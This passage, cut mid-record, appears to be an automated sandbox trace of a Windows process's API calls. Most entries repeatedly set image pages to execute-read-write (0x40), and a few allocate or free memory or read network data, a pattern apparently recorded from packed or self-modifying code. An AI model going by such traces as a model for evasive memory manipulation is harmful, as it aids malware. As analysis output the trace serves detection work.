NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.410] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.418] VirtualFree (lpAddress=0x1e850000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0138.424] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.487] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.535] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.569] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.665] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.677] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0138.694] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.739] VirtualAlloc (lpAddress=0x1eac4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1eac4000 [0138.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.766] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0138.961] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.025] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.044] VirtualFree (lpAddress=0x1e874000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0139.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.066] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.092] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.119] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.142] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.190] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.204] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0139.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.350] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.363] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.400] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.413] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.437] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.489] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.515] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.527] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.533] VirtualAlloc (lpAddress=0x1e874000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e874000 [0139.540] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.569] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.612] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.687] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.741] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.769] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.848] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.857] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.866] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.871] VirtualFree (lpAddress=0x1e860000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0139.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.898] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.907] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.915] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.924] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.939] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.948] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0139.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.006] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.020] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.050] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.072] VirtualAlloc (lpAddress=0x1eae0000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0140.072] VirtualAlloc (lpAddress=0x1eae0000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0140.072] VirtualAlloc (lpAddress=0x1ead4000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0140.072] VirtualAlloc (lpAddress=0x1ead4000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0140.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.109] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.121] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, 